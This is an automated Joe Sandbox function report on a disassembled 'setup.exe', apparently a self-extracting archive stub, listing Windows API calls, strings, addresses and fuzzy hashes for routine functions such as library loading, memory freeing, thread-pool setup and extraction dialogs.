Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 213c1299e4af9f910a45027a669d1189acc456653106d51fc0286206a470c18b
Instruction ID: dc1585c61afba65d2de7a24f437812b46371683e77b897c190b37403112d2a01
Opcode Fuzzy Hash: 213c1299e4af9f910a45027a669d1189acc456653106d51fc0286206a470c18b
Instruction Fuzzy Hash: B6F0A431604508BFCB559F65DC09FDEBFB8EF44722F104069F805A2250DF349A80CA5C

Function 0049EB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 004A0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A00A0
Part of subcall function 004A0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049EB86,Crypt32.dll,00000000,0049EC0A,?,?,0049EBEC,?,?,?), ref: 004A00C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0049EB92
GetProcAddress.KERNEL32(004D81C0,CryptUnprotectMemory), ref: 0049EBA2

Strings

CryptUnprotectMemory, xrefs: 0049EB98
CryptProtectMemory, xrefs: 0049EB8C
Crypt32.dll, xrefs: 0049EB7C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: eb938d645eeacd6b3dd2a803bde8d594e453fd67f74682e4ef76bc76baa73cac
Instruction ID: a113f5727e31476300c2e60b6f94af738f48787db79c71939f5b4edb94d30e78
Opcode Fuzzy Hash: eb938d645eeacd6b3dd2a803bde8d594e453fd67f74682e4ef76bc76baa73cac
Instruction Fuzzy Hash: 3EE04FB58047419ECB70EF36A808F42BEE46B14706F10C86FE4D6D3640D6B8D5448B58

Function 004B7DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004B7E4B
_free.LIBCMT ref: 004B7E6B

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d3d6bc281e3d0a943bb3ff5febfd2434970fd8e097b68878ce865eb097247c77
Instruction ID: ed4f4de3539dbd42da6af4dde657eebe171a9ab34f2a2f2f1f4d21e9c8297a64
Opcode Fuzzy Hash: d3d6bc281e3d0a943bb3ff5febfd2434970fd8e097b68878ce865eb097247c77
Instruction Fuzzy Hash: A341C132A00304ABCB20DF79C881A9EB7B5EF89714B5545AEE515EB341EB35ED01CB98

Function 004BB610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004BB619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004BB63C

Part of subcall function 004B8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BC13D,00000000,?,004B67E2,?,00000008,?,004B89AD,?,?,?), ref: 004B854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004BB662
_free.LIBCMT ref: 004BB675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004BB684

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: a0aab7cf0d9dfeb3de3becde134b4d4a4c5b6dad61b4ff27173884b126a3f4c9
Instruction ID: 65e76f429f27939b6d013ec65da1e61f11a2f55585823bd602f058e95c227833
Opcode Fuzzy Hash: a0aab7cf0d9dfeb3de3becde134b4d4a4c5b6dad61b4ff27173884b126a3f4c9
Instruction Fuzzy Hash: 2601B162602611BF27215A776C88DFB6A6DDAC6BA5314422EBC04C2210DFA98D0191FA

Function 004A075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 004A0A41: ResetEvent.KERNEL32(?), ref: 004A0A53
Part of subcall function 004A0A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 004A0A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 004A078F
CloseHandle.KERNEL32(?,?), ref: 004A07A9
DeleteCriticalSection.KERNEL32(?), ref: 004A07C2
CloseHandle.KERNEL32(?), ref: 004A07CE
CloseHandle.KERNEL32(?), ref: 004A07DA

Part of subcall function 004A084E: WaitForSingleObject.KERNEL32(?,000000FF,004A0A78,?), ref: 004A0854
Part of subcall function 004A084E: GetLastError.KERNEL32(?), ref: 004A0860

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 11a716f2abebc15cc31dc2869104bc5536395a2fc3d66e82122977c355eff353
Instruction ID: 7eacf124aa4a0b073ff9886baa55a348eb3d3eb8785c1e8b6d888398be1519d2
Opcode Fuzzy Hash: 11a716f2abebc15cc31dc2869104bc5536395a2fc3d66e82122977c355eff353
Instruction Fuzzy Hash: BE01F536040704EFC7229F26DC84FC6BBE9FB4A711F00452EF15A42164CB7A3A44CB98

Function 004BBF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004BBF28

Part of subcall function 004B84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?), ref: 004B84F4
Part of subcall function 004B84DE: GetLastError.KERNEL32(?,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?,?), ref: 004B8506

_free.LIBCMT ref: 004BBF3A
_free.LIBCMT ref: 004BBF4C
_free.LIBCMT ref: 004BBF5E
_free.LIBCMT ref: 004BBF70

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5ad89b4f262d92934e32691157c677f3673b0c7556c9daafe2785463dca604ca
Instruction ID: 6edaaf247b505e9f62b9be6a94f56b7a8f9ddd4c11a055cf50ad434f536b9e61
Opcode Fuzzy Hash: 5ad89b4f262d92934e32691157c677f3673b0c7556c9daafe2785463dca604ca
Instruction Fuzzy Hash: F4F0FF72505201BB8660EB6AEE86CA773DDFA04714764481EF40AD7A10DB68FC819ABC

Function 004B76BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\setup.exe,00000104), ref: 004B76FD
_free.LIBCMT ref: 004B77C8
_free.LIBCMT ref: 004B77D2

Strings

C:\Users\user\Desktop\setup.exe, xrefs: 004B76F4, 004B76FB, 004B772A, 004B7762

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\setup.exe
API String ID: 2506810119-144775405
Opcode ID: 615ceb7c13687e391b3a6b43bc5ea21be33bf03c53f65f16658f9f8a9663493e
Instruction ID: 802be252640a241d2758b9ffc81c0a5bef5b0d47b5f936ae144139cca4ac0c50
Opcode Fuzzy Hash: 615ceb7c13687e391b3a6b43bc5ea21be33bf03c53f65f16658f9f8a9663493e
Instruction Fuzzy Hash: CC3170B1A04218EFDB21DF9ADC859EEBBECEBC4314F14406BE40497211DA785E41CBA9

Function 00497574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00497579

Part of subcall function 00493B3D: __EH_prolog.LIBCMT ref: 00493B42

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00497640

Part of subcall function 00497BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00497C04
Part of subcall function 00497BF5: GetLastError.KERNEL32 ref: 00497C4A
Part of subcall function 00497BF5: CloseHandle.KERNEL32(?), ref: 00497C59

Strings

SeSecurityPrivilege, xrefs: 004975BE
SeRestorePrivilege, xrefs: 004975D3

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 48656c45a71607e8d9fb4e0a49146b54ad5c5677bc7afe247f10a027ff7aef06
Instruction ID: 2289b8126699d2d49822b6f3c30162176627a9955982e9dce333f1d54f1a9c66
Opcode Fuzzy Hash: 48656c45a71607e8d9fb4e0a49146b54ad5c5677bc7afe247f10a027ff7aef06
Instruction Fuzzy Hash: 7431AF71908208AEDF20EB69DC45BEE7F68AF55368F00407BF444A7252DBB85D44C769

Function 004AA430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0049130B: GetDlgItem.USER32(00000000,00003021), ref: 0049134F
Part of subcall function 0049130B: SetWindowTextW.USER32(00000000,004C35B4), ref: 00491365

EndDialog.USER32(?,00000001), ref: 004AA4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 004AA4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 004AA4E2

Strings

ASKNEXTVOL, xrefs: 004AA448

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 749576dfd3aebd710e2cf519b2164cb6a23a283fa5c5c95fea1692c910e8a70f
Instruction ID: f3f3e2a0054bd576d765bad74c708245c5159bf4b7e21c30caf2b590f1045345
Opcode Fuzzy Hash: 749576dfd3aebd710e2cf519b2164cb6a23a283fa5c5c95fea1692c910e8a70f
Instruction Fuzzy Hash: AA11D332240240BFDA218F689E09F773B69EBAF300F10012AF241971B1C7A99821D72F

Function 0049D1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0049D22E
_strncpy.LIBCMT ref: 0049D278

Strings

@%s, xrefs: 0049D218
$%s, xrefs: 0049D223

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 581720331682ed03960668eae561878773f684c1e3eac0778a811d3090ca17ac
Instruction ID: bac8e14a849eb613bace282e48bfa3398b9938612bcd2909a68da34435420bc8
Opcode Fuzzy Hash: 581720331682ed03960668eae561878773f684c1e3eac0778a811d3090ca17ac
Instruction Fuzzy Hash: CA21A172840208AADF20DFA4CC06FEE7FA8AF04300F144567FA1196191D379DA559B59

Function 0049B4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0049B51E

Part of subcall function 0049400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0049401D

_wcschr.LIBVCRUNTIME ref: 0049B53C
_wcschr.LIBVCRUNTIME ref: 0049B54C

Strings

%c:\, xrefs: 0049B514

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: ebfd58e7329d9ab13de548648b78b2bb241fe8b213f547f74d4baaa59530457c
Instruction ID: 711a3793f480e40bec9b6d8dafc8f2789377e76a325024d1fc248c6929fff613
Opcode Fuzzy Hash: ebfd58e7329d9ab13de548648b78b2bb241fe8b213f547f74d4baaa59530457c
Instruction Fuzzy Hash: 6D012B53500311B68F306B66AC82DABABACDE95374751842BF844C6141FB28D441C2F9

Function 004A06BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0049ABC5,00000008,?,00000000,?,0049CB88,?,00000000), ref: 004A06F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0049ABC5,00000008,?,00000000,?,0049CB88,?,00000000), ref: 004A06FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0049ABC5,00000008,?,00000000,?,0049CB88,?,00000000), ref: 004A070D

Strings

Thread pool initialization failed., xrefs: 004A0725

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 87749594a71dbcdc5c481de6f387037f80207227d1c289439374061ba066bee1
Instruction ID: 5480e7307206138ce74ac9f8c915a19b23779c1f2464978aaf0e36582fafc181
Opcode Fuzzy Hash: 87749594a71dbcdc5c481de6f387037f80207227d1c289439374061ba066bee1
Instruction Fuzzy Hash: B21173B5500708AFC3215F66D888AA7FBECEBA5755F10482FF1DA86200D6756980CB58

Function 004AD38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 004AD3DE
REPLACEFILEDLG, xrefs: 004AD3C9, 004AD3FD

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 1d8d65f05e051608aa7404c03af533fa8791767eed4cc4c18402da59c318783a
Instruction ID: 6a0d1c1c22656b6d78c0808fa9c156648e2881d0a1b046ba598107999f9be889
Opcode Fuzzy Hash: 1d8d65f05e051608aa7404c03af533fa8791767eed4cc4c18402da59c318783a
Instruction Fuzzy Hash: 1A01B575D01255AFDB118F18ED44F663B99E72A380B00443BF906D2631D6759C50EBAD

Function 004AD287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 004AD29D
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 004AD2D9

Strings

sfxcmd, xrefs: 004AD298
sfxpar, xrefs: 004AD2D4

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 00b14840942e2b709e88a8d603f47b7074b078eefe2c36a8e401fc21292dc209
Instruction ID: a947f85783f86f1ca4ae96aa69025145e3245d6a9fb8cedbd3bcd33a569bde11
Opcode Fuzzy Hash: 00b14840942e2b709e88a8d603f47b7074b078eefe2c36a8e401fc21292dc209
Instruction Fuzzy Hash: 53F0AE76800128A6CB202F919C05FBF7B58AF26741B044067FC4596141DA68DD40D7FD

Function 004B91DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004B9269
__alldvrm.LIBCMT ref: 004B946A
__alldvrm.LIBCMT ref: 004B948C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: e90b1fa23aba202bba093109adefdb56eea12b49e9ded63ef510ee75c2e44a9f
Instruction ID: 413fdad772bf2aad1dfec30e3cec9ca0653095881327ad3be6fea99e7185251d
Opcode Fuzzy Hash: e90b1fa23aba202bba093109adefdb56eea12b49e9ded63ef510ee75c2e44a9f
Instruction Fuzzy Hash: 32A14531904646AFDB158F28C8917EEBBE4EF16310F1445AFEA449B381C23C9C42C778

Function 0049A2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,004980B7,?,?,?), ref: 0049A351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,004980B7,?,?), ref: 0049A395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,004980B7,?,?,?,?,?,?,?,?), ref: 0049A416
CloseHandle.KERNEL32(?,?,00000000,?,004980B7,?,?,?,?,?,?,?,?,?,?,?), ref: 0049A41D

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 77d82c31db6af7b9c8092ee9109a8d870da87ef844bb0962c71faebdfedb4794
Instruction ID: 92313bdbb60ee1dbbb65a57d96fbe71b1eae3bf460fcfc4c4ff6e996bb687c5c
Opcode Fuzzy Hash: 77d82c31db6af7b9c8092ee9109a8d870da87ef844bb0962c71faebdfedb4794
Instruction Fuzzy Hash: B941E031248380AADB31DF64DC45FEFBBE4AB91704F04092EB9D0D32C1D6689A58DB97

Function 004BC099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,004B89AD,?,00000000,?,00000001,?,?,00000001,004B89AD,?), ref: 004BC0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 004BC16F
